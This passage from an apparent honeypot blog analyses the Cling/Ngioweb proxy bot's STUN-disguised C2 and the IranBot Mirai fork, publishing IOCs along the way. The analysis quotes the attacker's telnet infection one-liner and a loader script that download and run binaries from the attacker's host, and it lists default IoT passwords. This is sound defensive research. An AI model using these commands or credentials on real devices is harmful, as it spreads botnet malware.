VoIP providers. Publishing them as malicious IOCs would be unfair and would flood anyone who trusted them with false positives. They go in as context — except, perhaps, one. Which one, in the thread. ⬇ download the rule (cling-ngioweb.yar) To be continued — in Pulling the thread: twelve innocent STUN servers and a mailbox hidden among them. How to tell one from the other twelve using nothing but public records — and where it leads. 🍯","date":"2026-09","fam":"Cling","n":19,"spec":"Cling (IoT proxy)","sum":"I pulled down the three binaries from the previous chapter expecting the usual DDoS arsenal. It wasn't there: not one attack function. What it does instead —and above all, the channel its orders arrive on— is the strangest thing that has come through the honeypot. A bug designed, top to bottom, not to be seen.","t":"A Mirai that couldn't attack?","tags":["Ngioweb","NSOCKS","proxy","STUN","IoT","reverse engineering","Ghidra"],"tipo":"IoT residential proxy (Ngioweb / NSOCKS)","url":"/en/chapter-19/"},{"body":"This thread starts where the teardown chapter left off: one of the thirteen STUN servers Cling —an IoT bot that turned out to be a proxy— beacons to has to be the operator's mailbox, and yet all thirteen look like innocent VoIP providers. Telling the one that isn't from the twelve alibis can't be solved by reading the binary; it's solved with public records, without touching a single machine and without capturing a single order. That's what I do here. How to read thisThree levels, always kept apart: seen (I checked it myself), read (a third party says so) and inferred (my interpretation). And one warning up front, because it governs everything else: I never saw the mailbox issue an order. What follows is a case built on elimination and exclusivity — strong, but not a signed confession. I say it here and I give it a whole section of its own (section 05). 01The question isn't «whether», it's «which» That one of the thirteen has to belong to the operator isn't a hunch, and it's worth nailing down before going on. The bot learns its thirteen public ports over STUN and announces them only to those thirteen; the strace in the teardown shows it without ambiguity —«any other IP: 0»—. seen And without that calling card the ports are ephemeral and nobody knows how to reach it: whoever commands it must have received the beacon — almost certainly, one of the thirteen. I say «almost» because remote loopholes remain —that they compromised one of the legitimate STUN servers, or that someone was listening to the traffic upstream, among others—; possible, but a lot to ask. inferred NAT is the «how it gets back», not the argumentEvery beacon also punches a hole in the victim's NAT, and that's the physical path the reply takes. It helps — but it isn't what holds the case up, and that's why I don't lean on it: it doesn't matter how the router is configured (full cone, public IP, whatever). The argument is simpler and harder: the ports are announced only to the thirteen, therefore whoever gives the orders is among the thirteen. And at that point the question stops being interesting in the abstract and becomes concrete and boring, which is how I like them: who, exactly, is each one of these thirteen addresses? 02Twelve alibis I resolved the reverse name for all thirteen and looked at them one by one on Shodan. Twelve have a textbook alibi: they are STUN servers belonging to real VoIP and telecom providers, with their name in the registry — and half of them, on top of that, in reverse DNS. twelve of thirteen · who each one is74.125.250.129 Google stun.l.google.com 212.227.67.34/33 IONOS stun.1und1.de 81.187.30.115 Andrews \u0026amp; Arnold natisevil.aasip.co.uk (British ISP) 5.39.72.109 antisip sip.antisip.com 83.211.9.232 IRIDEOS clouditalia.com 212.53.40.43 SIPNET sipnet.ru 207.38.82.134 velia.net · 85.17.88.164 LeaseWeb · 77.72.169.211/213 Finarea 216.93.246.18 CounterPath (historic stun.ekiga.net) Most of them answer STUN right now; a couple don't reply on :3478 from where I'm watching —ekiga is a historic service long since shut down, though its address is announced today by CounterPath, a softphone maker still in business; SIPNET, on the other hand, is still active on other ports, so that's more «I can't see it from here» than «it's dead»—. Either way, all twelve have a real VoIP provider identity, which is what matters. seen Important, and I mean itThese twelve are victims of a disguise, not accomplices. The bot speaks real STUN to them —a Binding Request with its magic cookie— and they answer the way they'd answer any video call, with no idea they're being used as cover. Publishing them as malicious indicators would be unfair and would flood anyone who trusted them with false positives. They go in as context. The only one I point at is the one that doesn't fit. 03The one with no alibi One is left: 145.249.115.184. And it resembles the other twelve in nothing that matters. It isn't a VoIP provider. The registry and the AS place it at Global Connectivity Solutions LLP (AS215540) — one of those hosts they call bulletproof, not a telco. seen But that on its own is weak: anyone can rent bulletproof. The real proof is something else, and it's what closes the case — I asked VirusTotal: who talks to each of these IPs? VirusTotal · who talks to each IP Google (public) IRIDEOS (obscure) 145.249.115.184 population VT sees thousands (40 shown) dozens (40 shown) 71 · the WHOLE list (12 Sep) file types PDF · EXE · Android ELF + PDF/EXE only ELF + shell benign / unclassified 26 18 0 of the Mirai family 0 19 71 \".cling\" in the name 0 19 65 A note on method, because this is exactly where they'd try to knock it down: VirusTotal doesn't give you a census, it paginates relationships — what you see is what it lists first, and the ordering shapes the sample. For Google, those 40 are a splinter of thousands (I kept going and at 80 there were still more); but that splinter already comes out diverse, and that's what matters: a sample that is already diverse cannot be hiding a monoculture underneath. For 145 I did the opposite — I followed the list to the end. It's 71 files —the ones VirusTotal sees talking to it (communicating_files), as of 12 September— and that's where it stops: it isn't a sample, it's the entire population. All 71 are malware, every one of them from the Mirai family, 65 carrying the string .cling, zero benign. In its whole known history on VirusTotal, the only thing that has ever talked to 145 is the bug. seen And here it's time to be honest rather than convenient. I ran the same query against the obscure STUN servers on the list, and they don't come out clean: IRIDEOS and antisip are around 50% .cling. It's a real effect —VirusTotal over-represents malware on services with little legitimate traffic, so obscurity alone already dirties the picture— and anyone who preaches cross-checking can't keep quiet about it. And it has to be said in full, because the percentage on its own separates nothing: some of the twelve go far lower —SIPNET's keeps barely 1% benign traffic—. What isolates 145 isn't how much malware talks to it: it's what its population is made of. The twelve get everything —PDFs, Windows executables, Android, archives—, four or five different types each. Two things talk to 145: ELF binaries and shell scripts. Exactly what a loader hands out, and nothing else. None of the other twelve reaches that extreme, not even the obscure ones. seen inferred As a bonus: when I looked at it, in the summer, that same box had, next to the :3478, a kittenx panel on :8443 and a :443 that only answered depending on the SNI. seen An operator's kit, not a telco's. inferred The VK certificate: why I do NOT use it as proofAn earlier reading of mine leaned on the fact that that :8443 presents an O=VK CN=www.vk certificate, and I read that as «it's impersonating VK». I correct myself: it's VK's real certificate, and it appears on thousands of hosts (about 2,800) because it's a proxy technique —borrowing the TLS of a big legitimate site so traffic looks like it's going to VK and slips past inspection (REALITY/VLESS style)—. So: 145 is, on top of everything else, a node using that technique. It fits with it being proxy infrastructure, but it proves nothing on its own — it's one of thousands. I'll leave it as what it is: consistent, not probative. read 04Someone else's clock confirms it Exclusivity already settles which one it is. What clinches it is time — and not my clock, but the one the operator himself leaves behind as he changes skin. Cross-referencing this family's public samples by date, the biography of its command centre writes itself: 2025C2 via a dynamic DNS domain (boymoder.ddns.net), with the config encrypted. The classic model: a name that resolves to his server. Jul 2026C2 on a single bare IP, embedded in the binary (94.154.43.158). It looks like the clumsiest of the three steps… until you look at where that IP lives: a /24 that has changed ASN five times in fifteen months, and in one of those hops whoever dropped it is precisely whoever provides transit to whoever picked it up. seen It wasn't an address that was easy to take down: it was one that changes country without moving. inferred Aug 2026C2 disguised as STUN: the mailbox 145 hidden among twelve legitimate servers. The sample that landed in my honeypot. And since when has 145 been the mailbox? Its :3478 is first seen by Shodan on 2 September, the day before my capture — but that's when Shodan scanned it, not when it was born: a scanner comes round when it comes round, not when the service starts. The good data is in the samples. I took the oldest one of the wave —from 21 August— and looked on VirusTotal at which addresses it contacts: all thirteen, 145 included — the same list, exactly, as the sample that landed in my honeypot two weeks later. seen That rules out the easy reading: 145 didn't slip in halfway through the campaign, and Cling didn't pick it up off some public STUN list — it was on the list from the first known day. And it fits the clock of the moves: an operator running forwards away from takedowns —from a name that can be suspended (2025), to a bare IP that can be blocked (July), to hiding inside traffic nobody blocks because it looks like a video call (August)—. Each move harder to catch than the last. And here it's worth not reading too much into it: that it was there from the beginning rules out an accident, but it doesn't prove intent — a list copied and compiled in would also come out fixed. inferred 05What I can't prove This is where I have to stop, because this is where it would be easiest to overreach. I have three things pointing the same way —that one of the thirteen has to be the mailbox (the registration only goes to them); that the other twelve do have an alibi; and that what talks to 145 looks like nothing that talks to anyone else—. That's a lot. But it isn't a confession. The proof I'm missing, and why I'm missing itThe only thing that would settle this completely would be watching 145 issue an order to a bot — catching it red-handed, not inferring it. I don't have that. A legitimate STUN server and a mailbox that speaks STUN look identical until one of them sends a command, and in the time I watched the traffic, none of the thirteen did. So the honest thing is to say it plainly: 145 is the mailbox with high confidence —by exclusivity and by the clock— but I didn't record it talking. inferred And a nuance I already flagged when comparing (§03) which carries weight here: exclusivity, measured crudely, is a gradient, not a switch — the obscure STUN servers on the list also come out half infested with Cling, because VirusTotal dirties anything with little traffic. What isolates 145 isn't «it has malware», it's the extreme: zero legitimate traffic and a population made of two file types and nothing else, where even the most obscure of the twelve receives everything. And even that extreme I don't sing on its own: what closes the case is putting it together with the bulletproof hosting, the absence of a VoIP identity, and the clock. Not one of the other twelve has the whole set. 06Not a lone genius: the disguise is a 2026 thing The first time you see a C2 speaking STUN you assume someone very clever invented it. Half true: STUN is creeping across the whole IoT ecosystem in 2026, each family for its own reasons, and that's documented. What may genuinely be Cling's invention is a finer detail; I get to it at the end. MossadProxy (Aisuru ecosystem, a DDoS botnet) puts its own stun.kamru.ru in a config slot separate from the public STUN servers — Deepfield suspects it belongs to the operator, though it no longer resolves today. Its real C2 goes elsewhere: domains registered at REG.RU, with command traffic encrypted using ChaCha20. But the gesture is Cling's: a server of your own camouflaged among the legitimate ones. read Aisuru itself —the biggest IoT DDoS botnet around— had spent months shifting from taking servers down to selling residential proxies (Krebs, October 2025); and Kimwolf, its Android variant, already does both at once. STUN shows up in some of them to check connectivity, in others for NAT traversal: the use changes, the tool repeats. read In samples from those families that I went through myself, the pattern holds: the cover —public STUN from Google/Cloudflare— is shared; the server of one's own each family provides itself. seen So: Cling didn't invent using STUN, and it isn't an oddity — it joined an undercurrent, half the IoT scene moving from attacking to renting out connections. What may be its own is the finishing touch: putting the order inside the transaction ID, so the command doesn't just travel over a video-call port but has the exact shape of one. I haven't seen that documented in the other families; it may be its signature. inferred The neighbourhood's epilogueOn 20 March 2026, the US seized the C2 infrastructure of Aisuru, Kimwolf, JackSkid and Mossad —the biggest IoT botnets around— while Canada and Germany moved against the people running them. But it was a disruption, not an ending: four months later, Censys was seeing Aisuru's known infrastructure more than doubled, and Kimwolf fragmented into more than twenty botnets competing with each other. The scene Cling resembles isn't just in law enforcement's sights — it's that when it gets hit, it grows back bigger. Running forwards isn't just this operator's biography: it's the whole neighbourhood's. read 07The neighbourhood, and the family The neighbourhood. 145's box doesn't exactly host telephony companies. In that same bulletproof hosting there live phishing and scam domains —neyorkk.org and zalusodahi.org right now; and until a few months ago also xenplith.com and layerzro.ru, a crypto typosquat—. It's the neighbourhood you'd expect around an operator's mailbox, and the one you wouldn't expect around a stun.1und1.de. seen The family. MalwareBazaar labels Cling as Ngioweb — the engine behind NSOCKS, a residential proxy service that Lumen/Black Lotus Labs dismantled in November 2024. It fits what we saw inside: giving access and giving an exit, not attacking. read An honest asterisk on the labelA STUN server of the operator's own is described in the Aisuru ecosystem (MossadProxy's stun.kamru.ru), not in «classic» Ngioweb, and their exploit catalogues don't fully overlap. So MalwareBazaar's label may be a broad brush: it could be Ngioweb evolved, or an Aisuru-adjacent cousin sharing the same loader generator — which fits the attack-botnet skeleton we found inside, weapons stripped and a tunnel bolted on. What is certain is the function —proxy, not DDoS— and the behaviour. The exact surname I'll leave with its asterisk. inferred 08Indicators (IOCs) TypeValue Operator's mailbox (Aug 2026)145.249.115.184 — AS215540 (bulletproof) · :3478 STUN as disguise · monoculture: the 71 files VT sees talking to it (communicating_files, the whole list, as of 12 Sep) are malware — all of them Mirai family, 65 with .cling, zero benign, and of two types only: ELF and shell scripts · :8443 kittenx panel (seen in summer 2026) Previous C2 (Jul 2026)94.154.43.158 — single embedded IP, in a /24 that hops ASN every few months; in July and today, AS219502 (Storm) Previous C2 (2025)boymoder.ddns.net — dynamic DNS Neighbourhood (same host)phishing/scam current: neyorkk.org · zalusodahi.org · historic: xenplith.com (last seen there May 2026) · layerzro.ru (Mar 2026) Technique (ecosystem)C2 disguised as STUN: 13 servers at once with the transaction ID all zeros + beacon (tag + 13×2 B) every 5 s. The use of STUN belongs to the whole Aisuru ecosystem (e.g. stun.kamru.ru in MossadProxy); the order inside the transaction ID, possibly Cling's own The twelve are NOT indicatorsThe other twelve STUN servers (Google, IONOS, Andrews \u0026amp; Arnold, antisip, LeaseWeb, Finarea, velia, IRIDEOS, SIPNET…) are legitimate. They go in as context, never as malicious IOCs: blocking them would mean punishing the victim of the disguise. To be continued — the honeypot's still on, and the STUN disguise is more fashionable by the week. 🍯","date":"2026-09","fam":"Cling","n":20,"spec":"Cling / Ngioweb","sum":"The previous chapter left a question the binary doesn't answer: of the thirteen STUN servers Cling beacons to, one has to be the operator's mailbox —because the bot announces its ports only to those thirteen, to nobody else— and yet all thirteen look like innocent VoIP providers. I didn't catch it issuing an order; I found it by elimination and exclusivity, using public records to see who talks to each one. Twelve have an alibi. The thirteenth doesn't.","t":"Twelve alibis and a mailbox","tags":["OSINT","Ngioweb","NSOCKS","STUN","proxy","investigation"],"tipo":"IoT residential proxy (Ngioweb / NSOCKS)","url":"/en/chapter-20/"},{"body":"The infection fits in one line, because it lasted under twenty seconds and holds no mystery at all: factory password, a script, fourteen binaries. The interesting part came afterwards, when I went to put a name to it. Because when I finally knew what it was called, it turned out that name had been written on this blog since August. It didn't put it there. A rival bug did, eighteen days earlier, while trying to evict it from a phone they both wanted. 01Under twenty seconds There was no courtship. An IP —176.65.139.206— looked in on the honeypot's Telnet on the morning of 10 September and, in fifteen seconds, opened seven connections in a row. It wasn't its first time past here: eleven days earlier it had called the honeypot's SSH, held on for four seconds and left without trying anything. 00:00First contact. Opens and closes without saying a word. And again. 00:05Third connection, and this one does try: root / icatch99. Fails. It's a fixed credential on LILIN recorders, which entered the IoT botnet repertoire with the 2020 LILIN 0-day. 00:16Seventh connection, and this one gets in. Username telnet, password telnet. 00:18Pastes the infection command and the binary is already inside. Eighteen seconds from the first packet to the malware downloaded. It's an automated scanner sweeping services —SSH in August, telnet now—: it found an open port, tried what it had to try and ran its script. It didn't even push hard: of the seven connections, only two got as far as typing a password. Nobody was watching. The command, exactly as it arrived — all on one line: what it pasted into the telnetcd /tmp || cd /var/run || cd /mnt || cd /root || cd / wget hxxp://176.65.139[.]206/cat.sh chmod cat.sh sh cat.sh That string of cds at the start is a Mirai house mark: it tries directories one after another until it finds one it can write to, because on a cheap router /tmp may not exist, may be full, or may be read-only. What's less of a house mark is that chmod cat.sh without saying which permissions. chmod needs a mode and they don't pass one, so the command returns an error. It doesn't matter, because they launch the script with sh, which needs no execute permission — and that's precisely why the typo has been sitting there who knows how long without anyone noticing. Hold on to it, it isn't the only one. One box does all the workLook at the IP the bug downloads from: it's the same one that attacked. There's no division of labour. In KHserver we saw the sensible version of this — one IP spends its time scanning half the internet and fills up with abuse reports, and a different one, clean and discreet, keeps the goods for the victims who already bit. They burn one and protect the other. Not here: the same machine scans, attacks and serves the files. All the eggs in one basket, and that basket had already collected 560 abuse reports by the day my turn came. 02A loader with two typos cat.sh weighs 1,903 bytes and is as simple as it gets: fourteen download lines, one per CPU architecture. cat.sh · trimmedwget hxxp://176.65.139[.]206/iran.x86_64 -O x86_64 || curl … ; chmod 777 x86_64; ./x86_64 catloader; wget hxxp://176.65.139[.]206/iran.mips -O mips || curl … ; chmod 777 mips; ./mips catloader; # … and so on with: aarch64 · m68k · mipsel · powerpc · sparc · sh4 · arc # i486 · armv4l · armv5l · armv6l · armv7l (fourteen in total) The usual shotgun: fire all fourteen and let whichever one matches the victim's CPU start up; the other thirteen fail — and one didn't even get downloaded. It tries wget and, failing that, curl — belt and braces, like Sysorbit's stubborn cascade. And it launches each binary with an argument, catloader, which is the campaign tag: the bot will report it back to base so they know which route it came in by. In Cling that tag was telnet; here it's catloader. And now the second typo, which does do damage: the aarch64 linewget …/iran.aarch64 -O aarch64 ; chmod 777 aarch64; ./aarch64catloader; ↑ the space is missing They swallowed the space between the file and its argument. So on any device with an aarch64 CPU —and there are plenty: modern routers, cameras, Android TV boxes— the bug downloads, gets its permissions… and then tries to run a file called aarch64catloader that doesn't exist. That infection never starts. The operator is losing an entire architecture over one space. And the punchline: it isn't a third failure, it's the same oneAmong the six files the honeypot saved there's one that isn't a binary: it's 276 bytes of HTML, the default error page of an Apache/2.4.58 (Ubuntu). A 404. For which architecture? The aarch64 — the same one with the missing space. So in this campaign the typo never even got to matter: the file wasn't on the server. An aarch64 device would have downloaded 276 bytes of HTML, given them chmod 777 and tried to run something that doesn't exist, twice over. That's the observation: one of the fourteen wasn't available at the time of the attack. And separately, the reading, which comes back at the end of the chapter: it fits with them handling the directory live that morning, while their bot was infecting. 03The prints, and a name First came the usual: take the hash of the 64-bit binary and ask VirusTotal. Twenty-three engines out of seventy-five called it bad the day I looked, and most said the same thing: trojan.mirai, gafgyt. The rest, generics — «malicious», «suspicious ELF». It wasn't on MalwareBazaar: nobody had ever uploaded it. At that point the reflex is to file it as «another Mirai» and move on. But whoever compiles a fork leaves prints of their own, and those are specific. I pulled the strings out of the binary: strings · a selectionNot a mirai at all # the author's joke Death to israel # a slogan, typed by hand !selfrep telnet !selfrep realtek # the two self-replication orders selfrep.realtek # how it tags itself when it spreads alone 176.65.139.206 psize= srcport= httpmode= gport= gre_proto= msg= usleep= root · user · postgres · xc3511 · 888888 · default · password · 12345 5up · klv1234 · anko · 7ujMko0admin · ikwb · dreambox That Not a mirai at all is the author needling whoever opens the file. And it's exactly what gives it away, because it's documented: Nokia Deepfield published a dossier on this family, and there they are — the joke, the slogan, the seven exact parameters, the two self-replication orders, the selfrep.realtek marker, and even the delivery naming convention: iran.\u0026lt;architecture\u0026gt;, which is literally what my cat.sh downloads. They all match. I checked it in two different binaries from the same package as well, the x86-64 and the m68k, which carry exactly the same strings. It isn't a generic Mirai: it's a specific fork, with a name of its own and a public dossier. It's called IranBot. About the name, and how far it goesThe author named his files iran.* and left a political slogan inside the binary. That is what he wrote, and it's good for exactly one thing: identifying the family. It doesn't say where it comes from, who pays for it, or where it's run from. Text inside an executable is as cheap to put there as it is to lie with, and anyone who wants to mislead starts precisely there. Here it stays as a brand, and I don't stretch it a millimetre further. What did amuse me was going back to VirusTotal with the name in hand: of the twenty-three engines that detect it, not one calls it «IranBot». They all file it as run-of-the-mill Mirai or Gafgyt. Its author wrote inside the binary that the thing «is not a mirai at all», and twenty-three antivirus engines have replied that it is. 04It was already here With the name in hand I did what I always do before claiming anything: check whether it rang a bell. And I searched inside my own blog too, without any hope at all. It's there. In chapter 7, published on 23 August — eighteen days before this came in over telnet. chapter 7 · the first thing Sysorbit does on installingpm uninstall com.manji.bot 2\u0026gt;/dev/null pm uninstall com.iranbot.load 2\u0026gt;/dev/null ← here pm uninstall com.android.log_handler_v2 2\u0026gt;/dev/null pm uninstall com.oreo.mcflurry 2\u0026gt;/dev/null # … and seven more That was Sysorbit, an Android bot that came in through the debug cable. The first thing it does on arrival is evict the competition: it walks a list of rival bots and uninstalls them one by one to keep the device to itself. The same war between criminals I'd already seen with RedTail, but on Android. And on that list of enemies was the name I had just worked out on my own, eighteen days later. I had it published and didn't know. Careful with what this proves, exactlyWhat matches is the name. com.iranbot.load is an Android package; what came in over my telnet is a Linux ELF, and IranBot's public dossier describes binaries for routers and IoT gadgets, not for phones. I can't claim they're the same thing. It could be the same author with two branches, it could be someone who copied the name —it happens constantly— or it could be coincidence. What is a fact is that back in August somebody already considered an «iranbot» enough of a rival to go hunting for it device by device. There's a second coincidence, and this one can be measured. Sysorbit's command centre lived at 176.65.139.248. The one that attacked me now is 176.65.139.206. The same block of 256 addresses. I've written about that block before, in chapter 11, with a precision that comes in handy now: the range is registered to PFCLOUD-NET, but the one announcing it to the internet is a different company, AS219502 · Storm Industries LLC. Two things that are very easy to confuse, and depending which one you ask about you get an answer or nothing at all. That said, sharing a block is not sharing an owner. A /24 from a provider like that carries tenants with nothing to do with each other, and I've already had to verify that by enumerating one. All this coincidence tells us is where this kind of hosting gets bought — and the answer has been the same address for quite a few chapters now. 05The box empties out the same day A couple of hours after the attack I went back to look at the server everything had been downloaded from. I asked for the root directory index: the delivery index, a couple of hours laterIndex of / [ICO] Name Last modified Size Description ──────────────────────────────────────────────────────── Apache/2.4.58 (Ubuntu) Server at 176.65.139.206 Port 80 Empty. No cat.sh, not a single iran.*. It could be that they'd only switched off the directory listing and the files were still there, so I asked for one by its exact name: 404. Genuinely deleted. Shodan records the size of that index page every time it goes past, and that number rises and falls with how many files are listed. Its history tells the story on its own: index size · the first three rows, from Shodan's passes30 August 746 B # one folder, bins/ 9 September 556 B # they empty it 10 September 932 B # bins/ again, and a script — but NOT mine ────────────────────────────────────────────── 10 September empty # this one isn't Shodan: it's my own check That 932 made me doubt, so I went to look at exactly what it listed. No cat.sh and not a single iran.*: what Shodan saw that night was the usual folder and a script from a different campaign. And the arithmetic works to the byte — on top of the empty 556, one folder row and one file row add up to exactly those 932. That directory gets handled daily. And my files lived inside a window shorter than I thought: they weren't there yet when Shodan went past, and they were gone by the time I looked. Nor was I the first to have one: the sample was already on VirusTotal a good while before it reached my honeypot. It also fits the 404 the honeypot saved during the attack itself: even then, one of the fourteen architectures was missing. And there's something else I wasn't expecting, and it's an absence. URLhaus —the public catalogue where malware-serving addresses get reported— has thirty-four from that same box, the most recent from 7 September. None is cat.sh. None is an iran.*. Nor is it on MalwareBazaar, where none of the five appears either. A record does exist —all five files reached VirusTotal that same night, with the iran.* names on them, so somebody else caught them too—. What doesn't exist is anyone who has told the story: not a reported URL, not an entry in the dossier's indicators, not an analysis. Of this wave, as far as I've been able to find, there is no public analysis but this chapter. What this does mean, and what it doesn'tIt means the script the scanner pastes is gone: anything trying to fetch cat.sh gets a 404. Careful stretching that, because the installed bot doesn't spread with that script: for that it carries its own paths inside —/telnet.sh, /mips and /mipsel—, and whether those are still there I don't know. Finding out would mean asking the attacker's server for files, and that isn't done. And it certainly doesn't mean the botnet is switched off. The delivery server and the command centre are two different services, and about the second one I still know nothing — not even where it is. That's the next chapter. And who is the box? Passive OSINT, third-party databases, without touching it: ItemValue Abuse reports100 % abuse confidence · 560 reports (AbuseIPDB, 10 Sep 2026) Seen since29 August (Shodan) Open ports22 · 80 · 8098 Tagsopen-dir · scanner Range176.65.139.0/24 · registered to PFCLOUD-NET · announced by AS219502 · Storm Industries LLC (NL) A stumble that's now happened to me twiceShodan said that IP belonged to another company, in another country. It's false — or rather, it's out of date: the authoritative registry says AS219502, Storm Industries, Netherlands. In abuse-proof hosting ranges the data rotates fast and the search engine keeps the old snapshot. The ASN gets checked in the registry, not in the search engine. That's twice now I've had to remind myself. 06The specimen The honeypot saved six files: the loader script, four binaries and the 404. Of the fourteen architectures, the honeypot got as far as requesting five before the session was cut — four binaries and a 404. The other nine were never requested. SPECIMEN 007 · ELF ×4 + loader IranBot · Mirai fork VirusTotal calls it trojan.mirai — it has a name of its own ◈ LIVE · DO NOT RUN Typestatic ELFs · stripped · x86-64 · m68k · MIPS · MIPS little-endian Size164,272 B (x86-64) · 182,212 B (m68k) · 209,344 B (mips) · 211,616 B (mipsel) Delivery14-architecture shotgun over Telnet · telnet/telnet Campaign tagcatloader (the argument it's launched with) FunctionDDoS bot with self-replication — torn apart in Ch. 22 C2not identified yet — uncovered in Ch. 22 07Indicators (IOCs) From the infection. The ones from inside the bug —starting with who it calls— are in the next chapter. TypeValue Attacking IP and delivery server176.65.139.206 (:80 Apache · :22 SSH) · AS219502 Storm Industries LLC Delivery URLshxxp://176.65.139[.]206/cat.sh hxxp://176.65.139[.]206/iran.\u0026lt;arch\u0026gt; (14 architectures) hxxp://176.65.139[.]206/telnet.sh · hxxp://176.65.139[.]206/mips · hxxp://176.65.139[.]206/mipsel (the bot builds all three at runtime: it carries the path inside, and takes the host from the same address it uses for command) Credentials usedtelnet/telnet (success) · root/icatch99 (failure) Infection chaincd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://\u0026lt;ip\u0026gt;/cat.sh; chmod cat.sh; sh cat.sh; Campaign tag (argv)catloader Fixed User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 — used by its httpmode= method Ports it carries hardcoded2000 (command) · 9034/udp (the Realtek one) · 23 (its telnet scanner) Family markers (strings)Not a mirai at all · Death to israel · selfrep.realtek Orders and parameters!selfrep telnet · !selfrep realtek · psize= srcport= httpmode= gport= gre_proto= msg= usleep= Self-replication vectortelnet with factory passwords + Realtek Jungle SDK (CVE-2021-35394, UDP 9034) — when the operator orders it, not on its own SHA-256 · loader6a4503094d0031ae36c8b27cc36696087831901dfa421675ccb7509c9d7e58da (cat.sh, 1,903 B) SHA-256 · binariesf35bf04216d14180f9d28f6770a5722557f4a979d746f4ef664419363d0b755b (x86-64) 3f21d6f8621e38d2bc923dfaaf0861887c6ca0def522ae4dea0f9b840bf1d39a (m68k) 064d93495573a536517fa7ddf9fb6d3c4cddd4c7fdc61d4f90d12629cad690e6 (mips) ce452891a6e017f2523f8c7005df1180003ab3e96916774efb432bcc2a8e657f (mipsel) The hashes expire the moment the operator recompiles, and he does. What holds is the rest of the table: catloader, Not a mirai at all and the chain of cds are still there in the next build. To be continued — with a hole the size of a house. I have the bug, I have who delivered it and I have its name. What I don't have is who it calls. I looked for its command centre's address hidden inside the binary and didn't find it: none of the command centres the public dossier documents, not a domain in plain text, not the number anywhere. Four routes, and none led anywhere — until it dawned on me that what I needed was another binary, and not mine. Spoiling the ending: the answer was in the dump up above, and I walked right past it. In Chapter 22. 🍯","date":"2026-09","fam":"IranBot","n":21,"spec":"IranBot (Mirai fork)","sum":"An automated scanner found the honeypot's telnet and, eighteen seconds later, there was a binary inside. The password was «telnet». The loader it dropped comes with two operator typos, one of which breaks an entire infection. And when I finally put a name to the family —IranBot, a Mirai fork with a public dossier— it turned out that name had been written on this blog since August: a rival bot had put it there, in the list of competitors it uninstalls on arrival.","t":"Introduced by its enemy","tags":["IranBot","Mirai","fork","botnet","IoT","telnet","honeypot"],"tipo":"IoT botnet (DDoS)","url":"/en/chapter-21/"},{"body":"In the previous chapter I caught the infection and put a name to the family. What was missing was the only thing that really matters about a bot: who it obeys. A bug of the Mirai school carries the address of its command centre written inside. It doesn't ask for it, doesn't negotiate it, doesn't resolve it from anywhere: it comes factory-fitted, because whoever compiled it wrote it into the code before hitting build. Finding it is usually a matter of looking in the right place. I looked in four right places. It was in none of them. 01The easy assumption The first thing you try is the dumbest, because it lands more often than it should: that the server handing out the bug is also the one commanding it. One box for everything — and we already saw in the previous chapter that this operator has no shame about mixing. Inside a program, an IP can sit two ways: as readable text, or as the four-byte number the system handles when it opens a connection —176.65.139.206 is b0 41 8b ce—. I went for the number, which is the form that does not show up in a strings dump: I looked for it in all four binaries, in the two orders a processor can lay it out in. Not there. Not in the x86-64, not in the m68k, not in either MIPS. Second place. The family's public dossier lists the command centres of its previous campaigns — three, plus two delivery servers, though in addresses that's only four: one plays both roles and another never had a number at all. If this build were a lazy recompile of an old one, it might still be carrying one of them. I looked for them in all four architectures, as a number and as text. None. And while I was at it, the other thing it could be: a domain name, which would be readable text. I went through every string in all four files. Not one domain. Not a single one. 02Not encrypted, not brute force either If it isn't in plain sight, the logical thought is that it's hidden. And the classic hiding place in this school is an XOR: mix each byte with a key, which is the cheapest thing there is and enough to keep the address out of a strings dump. In chapter 4 I pulled the key out of a Mirai like that, and it was a single byte. I tried all 255 possible keys, one by one, looking in each result for anything shaped like an IP or a domain. Two produced something, and neither survived a closer look: the «results»key 0x6f → 2.3.2.1 · 4.3.2.1 · 4.34.3.2 · 42.3.2.1 · 74.3.2.1 key 0xee → 1.1.1.1 Garbage. Numbers that come up by chance when you decrypt code with the wrong key. One of them was even a 1.1.1.1, the most convincing-looking of the lot and just as empty — a Cloudflare public DNS that turns up by accident. I also tried the joke keys that go round this world —DEADBEEF, BEEFDEAD— and nothing. Fourth attempt, and the clumsiest of all. It occurred to me to walk all four binaries end to end looking for any four-byte sequence that could be read as a plausible address, and keep only the ones appearing in all four at once: if the command centre is in every build, it has to be in that intersection. Thousands of candidates. I refined. In binaries like these it's common to find the IP and the port close together —sometimes even side by side, inside the same structure the code uses to open the connection—, so I filtered for that combination and was left with a short and very promising list. I went to look at what was actually at each of those positions: the candidates, up close32.37.115.13 → is actually the text \" %s\\r\" 49.46.48.13 → \"1.0\\r\" 47.115.104.10 → \"/sh\\n\" 62.32.27.91 → \"\u0026gt; \" + ESC + \"[\" They weren't addresses. They were ordinary chunks of text that, read as numbers, look like addresses. The method is no good for this binary, and it goes on the record so I don't fall for it again: if you look for patterns in two hundred thousand bytes, you find patterns. Out of four attempts I salvaged nothing. Four routes, and none of them led anywhere. 03And I got the 8098 wrong By this point I'd written something in my notes that turned out to be false, and I'd rather tell it than delete it. The server has three open ports: 22, 80 —the Apache handing out the binaries— and a third one, 8098, that didn't fit anywhere. I went to see what it was: 80 answers as Apache, and 8098 answers with the default error page of a server written in Go. A different program, on the same machine. An unidentified service, in Go, on the attacker's box. I wrote: probably the operator's control panel. And since the command centre was nowhere to be found, I went a step further and wrote that the 8098 was probably the C2. Both of those were mine. They weren't in the data. I went to check it the only decent way I could think of: if that port belongs to the operator, it has to be rare. I asked how many machines there were on the internet, the day I looked, with 8098 open. hosts with port 8098 open455,427 Four hundred and fifty-five thousand. With nginx, with IIS, Hikvision cameras, Emby and Jellyfin video servers, proxies, you name it. And the exact signature of that Go error, which I thought was distinctive, shows up on 316 machines of perfectly legitimate hosting — Hetzner, Vultr, netcup, including a block of seven consecutive addresses from the same provider. It's nobody's panel. It's some high port with some Go service on it, and most likely it comes as standard in the VPS image: a monitoring agent, a proxy, anything. I withdraw both claims. It isn't an indicator, it doesn't get published, and it doesn't appear in the table at the end. Where the mistake came fromFrom a gap. I was missing the C2, I had an unexplained port, and I put them together. After my theory, the port was exactly as unexplained as before. 04The twin I was missing I was running out of repertoire. So I stopped looking at the binary and went back to reading the family's public documentation — but this time not the report, the boring file next to it: the indicator list, one dry line per sample. One of those lines describes a July build like this: someone else's dossier · a July sampleiranbot x86_64 self-replicating build (iran.x86_64) static stripped non-PIE 